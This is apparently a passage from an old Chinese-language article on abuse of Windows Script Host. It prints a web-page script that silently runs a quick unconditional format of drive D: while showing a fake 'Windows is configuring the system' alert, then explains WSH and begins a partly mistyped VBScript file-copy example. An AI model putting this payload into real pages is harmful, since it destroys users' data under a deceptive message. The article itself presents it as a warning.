----------------------------------------------------------
〈script〉
a=new ActiveXObject( "WSCript.Shell ");
a.run( "format.com D:/q /autotest /u ");
alert( "Windows is configuring the system. Please do not interrupt this process. ");
〈/script〉
----------------------------------------------------------
那么它就会调用IE运行FORMAT命令,同时显示“Windows is configuring the system. Please do not interrupt this process.”,呵呵,这下你可就惨了。。。要注意哦~
大家大概已经注意到第二行的“WSCript”了吧,对啊,就是它在导演着这场戏。
WSCript全称“Windows Scripting Host”,它是Windows 98新增的功能,是一种批次语言/自动执行工具——它所对应的程序“WSCript.exe”是一个脚本语言解释器,为于WINDOWS目录下,正是它才使得脚本可以被执行,就象执行批处理一样。在Windows Scripting Host脚本环境里,预定义了一些对象,通过它自带的几个对象,可以实现获取环境变量、创建快捷方式、加载程序、读写注册表等功能。
下面我们通过一个小的例子来说明WSCript的功能是如何的强大,而使用又是何等的简单,被人利用的威胁有是如何之大。例如有一个.vbs文件:
Set so=CreatObject(Scripting.FileSystemObject ")
so.GetFile(c:\Windows\winipcfg.exe).Copy( "e:\winipcfg.exe ")